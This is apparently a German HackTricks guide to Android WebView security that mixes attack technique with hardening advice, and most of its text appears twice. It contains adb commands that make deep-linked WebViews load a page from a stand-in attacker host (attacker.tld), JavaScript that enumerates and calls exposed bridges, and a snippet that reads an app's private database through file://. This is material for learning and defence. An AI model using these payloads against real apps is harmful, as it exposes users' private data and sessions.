Webview-Angriffe
Reading time: 14 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Anleitung zu WebView-Konfigurationen und Sicherheit
Übersicht über WebView-Schwachstellen
Ein kritischer Aspekt der Android-Entwicklung ist die korrekte Handhabung von WebViews. Diese Anleitung hebt wichtige Konfigurationen und Sicherheitspraktiken hervor, um Risiken im Zusammenhang mit der Nutzung von WebViews zu mindern.
Dateizugriff in WebViews
Standardmäßig erlauben WebViews den Dateizugriff. Diese Funktionalität wird durch die Methode setAllowFileAccess()
gesteuert, die seit Android API-Level 3 (Cupcake 1.5) verfügbar ist. Anwendungen mit der Berechtigung android.permission.READ_EXTERNAL_STORAGE können Dateien aus dem externen Speicher über ein Dateischema-URL (file://path/to/file
) lesen.
Veraltete Funktionen: Universeller und Dateizugriff von URLs
- Universeller Zugriff von Datei-URLs: Diese veraltete Funktion erlaubte Cross-Origin-Anfragen von Datei-URLs, was ein erhebliches Sicherheitsrisiko aufgrund potenzieller XSS-Angriffe darstellt. Die Standardeinstellung ist für Apps, die auf Android Jelly Bean und neuer abzielen, deaktiviert (
false
). - Um diese Einstellung zu überprüfen, verwenden Sie
getAllowUniversalAccessFromFileURLs()
. - Um diese Einstellung zu ändern, verwenden Sie
setAllowUniversalAccessFromFileURLs(boolean)
. - Dateizugriff von Datei-URLs: Diese ebenfalls veraltete Funktion steuerte den Zugriff auf Inhalte von anderen Dateischema-URLs. Wie der universelle Zugriff ist die Standardeinstellung aus Sicherheitsgründen deaktiviert.
- Verwenden Sie
getAllowFileAccessFromFileURLs()
, um zu überprüfen, undsetAllowFileAccessFromFileURLs(boolean)
, um festzulegen.
Sicheres Laden von Dateien
Um den Zugriff auf das Dateisystem zu deaktivieren und dennoch auf Assets und Ressourcen zuzugreifen, wird die Methode setAllowFileAccess()
verwendet. Mit Android R und höher ist die Standardeinstellung false
.
- Überprüfen Sie mit
getAllowFileAccess()
. - Aktivieren oder deaktivieren Sie mit
setAllowFileAccess(boolean)
.
WebViewAssetLoader
Die WebViewAssetLoader-Klasse ist der moderne Ansatz zum Laden lokaler Dateien. Sie verwendet http(s)-URLs, um auf lokale Assets und Ressourcen zuzugreifen, und entspricht der Same-Origin-Policy, wodurch das CORS-Management erleichtert wird.
loadUrl
Dies ist eine gängige Funktion, die verwendet wird, um beliebige URLs in einem Webview zu laden:
webview.loadUrl("<url here>")
Natürlich sollte ein potenzieller Angreifer niemals in der Lage sein, die URL zu kontrollieren, die eine Anwendung laden wird.
JavaScript und Intent-Schema-Verarbeitung
- JavaScript: Standardmäßig in WebViews deaktiviert, kann es über
setJavaScriptEnabled()
aktiviert werden. Vorsicht ist geboten, da das Aktivieren von JavaScript ohne angemessene Sicherheitsvorkehrungen Sicherheitsanfälligkeiten einführen kann. - Intent-Schema: WebViews können das
intent
-Schema verarbeiten, was zu Exploits führen kann, wenn es nicht sorgfältig verwaltet wird. Ein Beispiel für eine Sicherheitsanfälligkeit betraf einen exponierten WebView-Parameter "support_url", der ausgenutzt werden konnte, um Cross-Site-Scripting (XSS)-Angriffe auszuführen.
Beispiel für eine Ausnutzung mit adb:
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"
Javascript Bridge
Eine Funktion wird von Android bereitgestellt, die es JavaScript in einem WebView ermöglicht, native Android-App-Funktionen aufzurufen. Dies wird durch die Nutzung der Methode addJavascriptInterface
erreicht, die JavaScript mit nativen Android-Funktionalitäten integriert, die als WebView JavaScript bridge bezeichnet werden. Vorsicht ist geboten, da diese Methode allen Seiten innerhalb des WebView den Zugriff auf das registrierte JavaScript Interface-Objekt ermöglicht, was ein Sicherheitsrisiko darstellt, wenn sensible Informationen über diese Schnittstellen offengelegt werden.
- Äußerste Vorsicht ist erforderlich für Apps, die auf Android-Versionen unter 4.2 abzielen, aufgrund einer Schwachstelle, die die Ausführung von Remote-Code durch bösartiges JavaScript ermöglicht, das Reflection ausnutzt.
Implementierung einer JavaScript Bridge
- JavaScript-Schnittstellen können mit nativen Code interagieren, wie in den Beispielen gezeigt, in denen eine Klassenmethode JavaScript zur Verfügung gestellt wird:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
- JavaScript Bridge wird aktiviert, indem eine Schnittstelle zum WebView hinzugefügt wird:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
- Potenzielle Ausnutzung durch JavaScript, zum Beispiel über einen XSS-Angriff, ermöglicht das Aufrufen von exponierten Java-Methoden:
<script>
alert(javascriptBridge.getSecret())
</script>
- Um Risiken zu mindern, beschränken Sie die Nutzung der JavaScript-Brücke auf Code, der mit der APK ausgeliefert wird, und verhindern Sie das Laden von JavaScript aus externen Quellen. Für ältere Geräte setzen Sie die minimale API-Stufe auf 17.
Reflexionsbasierte Remote-Code-Ausführung (RCE)
- Eine dokumentierte Methode ermöglicht die Erreichung von RCE durch Reflexion, indem ein spezifisches Payload ausgeführt wird. Die
@JavascriptInterface
-Annotation verhindert jedoch unbefugten Methoden Zugriff und begrenzt die Angriffsfläche.
Remote-Debugging
- Remote-Debugging ist mit Chrome Developer Tools möglich, was Interaktion und beliebige JavaScript-Ausführung innerhalb des WebView-Inhalts ermöglicht.
Aktivieren des Remote-Debuggings
- Remote-Debugging kann für alle WebViews innerhalb einer Anwendung aktiviert werden durch:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
- Um das Debugging bedingt basierend auf dem debuggable Zustand der Anwendung zu aktivieren:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
Exfiltriere beliebige Dateien
- Demonstriert die Exfiltration beliebiger Dateien mithilfe einer XMLHttpRequest:
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)
Webview-Angriffe
Anleitung zu WebView-Konfigurationen und Sicherheit
Übersicht über WebView-Sicherheitsanfälligkeiten
Ein kritischer Aspekt der Android-Entwicklung ist die korrekte Handhabung von WebViews. Diese Anleitung hebt wichtige Konfigurationen und Sicherheitspraktiken hervor, um Risiken im Zusammenhang mit der Nutzung von WebView zu mindern.
Dateizugriff in WebViews
Standardmäßig erlauben WebViews den Dateizugriff. Diese Funktionalität wird durch die Methode setAllowFileAccess()
gesteuert, die seit Android API-Level 3 (Cupcake 1.5) verfügbar ist. Anwendungen mit der Berechtigung android.permission.READ_EXTERNAL_STORAGE können Dateien aus dem externen Speicher über ein Dateischema (file://path/to/file
) lesen.
Veraltete Funktionen: Universeller und Dateizugriff von URLs
- Universeller Zugriff von Datei-URLs: Diese veraltete Funktion erlaubte Cross-Origin-Anfragen von Datei-URLs, was ein erhebliches Sicherheitsrisiko aufgrund potenzieller XSS-Angriffe darstellt. Die Standardeinstellung ist für Apps, die auf Android Jelly Bean und neuer abzielen, deaktiviert (
false
). - Um diese Einstellung zu überprüfen, verwenden Sie
getAllowUniversalAccessFromFileURLs()
. - Um diese Einstellung zu ändern, verwenden Sie
setAllowUniversalAccessFromFileURLs(boolean)
. - Dateizugriff von Datei-URLs: Diese ebenfalls veraltete Funktion steuerte den Zugriff auf Inhalte von anderen Dateischema-URLs. Wie der universelle Zugriff ist die Standardeinstellung aus Sicherheitsgründen deaktiviert.
- Verwenden Sie
getAllowFileAccessFromFileURLs()
, um zu überprüfen, undsetAllowFileAccessFromFileURLs(boolean)
, um festzulegen.
Sicheres Laden von Dateien
Um den Zugriff auf das Dateisystem zu deaktivieren und dennoch auf Assets und Ressourcen zuzugreifen, wird die Methode setAllowFileAccess()
verwendet. Mit Android R und höher ist die Standardeinstellung false
.
- Überprüfen Sie mit
getAllowFileAccess()
. - Aktivieren oder deaktivieren Sie mit
setAllowFileAccess(boolean)
.
WebViewAssetLoader
Die WebViewAssetLoader-Klasse ist der moderne Ansatz zum Laden lokaler Dateien. Sie verwendet http(s)-URLs, um auf lokale Assets und Ressourcen zuzugreifen, und entspricht der Same-Origin-Policy, wodurch das CORS-Management erleichtert wird.
loadUrl
Dies ist eine gängige Funktion, die verwendet wird, um beliebige URLs in einem Webview zu laden:
webview.loadUrl("<url here>")
Natürlich sollte ein potenzieller Angreifer niemals in der Lage sein, die URL zu kontrollieren, die eine Anwendung laden wird.
Deep-Linking in interne WebView (benutzerdefinierter Scheme → WebView-Senke)
Viele Apps registrieren benutzerdefinierte Schemes/Pfade, die eine vom Benutzer bereitgestellte URL in eine In-App-WebView leiten. Wenn der Deep-Link exportiert ist (VIEW + BROWSABLE), kann ein Angreifer die App zwingen, beliebige entfernte Inhalte innerhalb ihres WebView-Kontexts darzustellen.
Typisches Manifestmuster (vereinfacht):
<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myscheme" android:host="com.example.app" />
</intent-filter>
</activity>
Allgemeiner Codefluss (vereinfacht):
// Entry activity
@Override
protected void onNewIntent(Intent intent) {
Uri deeplink = intent.getData();
String url = deeplink.getQueryParameter("url"); // attacker-controlled
if (deeplink.getPathSegments().get(0).equals("web")) {
Intent i = new Intent(this, WebActivity.class);
i.putExtra("url", url);
startActivity(i);
}
}
// WebActivity sink
webView.loadUrl(getIntent().getStringExtra("url"));
Angriffsmuster und PoC über adb:
# Template – force load in internal WebView
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
# If a specific Activity must be targeted
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
Impact: Die entfernte Seite wird im Kontext des App WebView ausgeführt (Cookies/Sitzung des App WebView-Profils, Zugriff auf alle exponierten @JavascriptInterface, potenzieller Zugriff auf content:// und file:// je nach Einstellungen).
Hunting tips:
- Grep dekompilierte Quellen nach
getQueryParameter("url")
,loadUrl(
,WebView
Senken und Deep-Link-Handlern (onCreate/onNewIntent
). - Überprüfen Sie das Manifest auf VIEW+BROWSABLE-Filter und benutzerdefinierte Schemas/Hosts, die auf Aktivitäten abgebildet sind, die später ein WebView starten.
- Überprüfen Sie, ob es mehrere Deep-Link-Pfade gibt (z. B. einen „externen Browser“-Pfad im Vergleich zu einem „internen Webview“-Pfad) und bevorzugen Sie den, der innerhalb der App gerendert wird.
Aktivierung von JavaScript vor der Überprüfung (Fehler im Prüfablauf)
Ein häufiger Fehler bei der Härtung besteht darin, JavaScript zu aktivieren oder entspannte WebView-Einstellungen zu konfigurieren, bevor die endgültige Zulassung/Überprüfung der Ziel-URL abgeschlossen ist. Wenn die Überprüfung inkonsistent zwischen den Helfern ist oder zu spät erfolgt, kann ein Angreifer-Duplikat einen Zustand erreichen, in dem:
- WebView-Einstellungen angewendet werden (z. B.
setJavaScriptEnabled(true)
), und - Die nicht vertrauenswürdige URL mit aktiviertem JavaScript geladen wird.
Fehler-Muster (Pseudocode):
// 1) Parse/early checks
Uri u = parse(intent);
if (!looksValid(u)) return;
// 2) Configure WebView BEFORE final checks
webView.getSettings().setJavaScriptEnabled(true); // BAD: too early
configureMixedContent();
// 3) Do final verification (late)
if (!finalAllowlist(u)) return; // too late – JS already enabled
// 4) Load
webView.loadUrl(u.toString());
Warum es ausnutzbar ist
- Inkonsistente Normalisierung: Helfer teilen/rekonstruieren die URL anders als die endgültige Überprüfung, was zu Abweichungen führt, die eine bösartige URL ausnutzen kann.
- Falsch angeordnete Pipeline: Das Aktivieren von JS in Schritt 2 gilt global für die WebView-Instanz und beeinflusst das endgültige Laden, selbst wenn die Überprüfung später fehlschlägt.
Wie man testet
- Erstellen Sie Deep-Link-Payloads, die frühe Überprüfungen bestehen und die WebView-Konfigurationsseite erreichen.
- Verwenden Sie adb, um implizite VIEW-Intents auszulösen, die einen von Ihnen kontrollierten
url=
-Parameter liefern:
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
Wenn die Ausnutzung erfolgreich ist, führt Ihr Payload JavaScript im WebView der App aus. Von dort aus suchen Sie nach exponierten Brücken:
<script>
for (let k in window) {
try { if (typeof window[k] === 'object' || typeof window[k] === 'function') console.log('[JSI]', k); } catch(e){}
}
</script>
Defensive guidance
- Canonicalize once; validate strictly against a single source of truth (scheme/host/path/query).
- Only call
setJavaScriptEnabled(true)
after all allowlist checks pass and just before loading trusted content. - Avoid exposing
@JavascriptInterface
to untrusted origins; prefer per-origin gating. - Consider per-WebView instances for trusted vs untrusted content, with JS disabled by default.
JavaScript und Intent-Schema-Verarbeitung
- JavaScript: Standardmäßig in WebViews deaktiviert, kann es über
setJavaScriptEnabled()
aktiviert werden. Vorsicht ist geboten, da das Aktivieren von JavaScript ohne angemessene Sicherheitsvorkehrungen Sicherheitsanfälligkeiten einführen kann. - Intent-Schema: WebViews können das
intent
-Schema verarbeiten, was zu Exploits führen kann, wenn es nicht sorgfältig verwaltet wird. Eine Beispielanfälligkeit betraf einen exponierten WebView-Parameter "support_url", der ausgenutzt werden konnte, um Cross-Site-Scripting (XSS)-Angriffe auszuführen.
Exploitation example using adb:
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"
Javascript Bridge
Eine Funktion wird von Android bereitgestellt, die es JavaScript in einem WebView ermöglicht, native Android-App-Funktionen aufzurufen. Dies wird durch die Nutzung der Methode addJavascriptInterface
erreicht, die JavaScript mit nativen Android-Funktionalitäten integriert, die als WebView JavaScript bridge bezeichnet werden. Vorsicht ist geboten, da diese Methode allen Seiten innerhalb des WebView den Zugriff auf das registrierte JavaScript Interface-Objekt ermöglicht, was ein Sicherheitsrisiko darstellt, wenn sensible Informationen über diese Schnittstellen offengelegt werden.
- Äußerste Vorsicht ist erforderlich für Apps, die auf Android-Versionen unter 4.2 abzielen, aufgrund einer Schwachstelle, die die Ausführung von Remote-Code durch bösartiges JavaScript ermöglicht, das Reflection ausnutzt.
Implementierung einer JavaScript Bridge
- JavaScript-Schnittstellen können mit nativen Code interagieren, wie in den Beispielen gezeigt, in denen eine Klassenmethode JavaScript zur Verfügung gestellt wird:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
- JavaScript Bridge wird aktiviert, indem eine Schnittstelle zum WebView hinzugefügt wird:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
- Potenzielle Ausnutzung durch JavaScript, zum Beispiel über einen XSS-Angriff, ermöglicht das Aufrufen von exponierten Java-Methoden:
<script>
alert(javascriptBridge.getSecret())
</script>
- Um Risiken zu mindern, beschränken Sie die Nutzung der JavaScript-Brücke auf Code, der mit der APK ausgeliefert wird, und verhindern Sie das Laden von JavaScript aus externen Quellen. Für ältere Geräte setzen Sie die minimale API-Stufe auf 17.
Reflexionsbasierte Remote-Code-Ausführung (RCE)
- Eine dokumentierte Methode ermöglicht die Erreichung von RCE durch Reflexion, indem ein spezifisches Payload ausgeführt wird. Die
@JavascriptInterface
-Annotation verhindert jedoch unbefugten Methoden Zugriff und begrenzt die Angriffsfläche.
Remote-Debugging
- Remote-Debugging ist mit Chrome Developer Tools möglich, was Interaktion und beliebige JavaScript-Ausführung innerhalb des WebView-Inhalts ermöglicht.
Aktivieren des Remote-Debuggings
- Remote-Debugging kann für alle WebViews innerhalb einer Anwendung aktiviert werden durch:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
- Um das Debugging basierend auf dem debuggbaren Zustand der Anwendung bedingt zu aktivieren:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
Exfiltriere beliebige Dateien
- Demonstriert die Exfiltration beliebiger Dateien mithilfe einer XMLHttpRequest:
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)
Referenzen
- Überprüfung der Angriffsvektoren für den Dateizugriff von Android WebViews
- WheresMyBrowser.Android (Demo-App)
- Android WebView Referenz
- Deep Links & WebViews Exploitations – Teil II
- Deep Links & WebViews Exploitations – Teil I
- Samsung S24 Exploit-Kette Pwn2Own 2024 Durchgang
- Pwn2Own Irland 2024 – Samsung S24 Angriffs-Kette (Whitepaper)
- Demonstrationsvideo
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.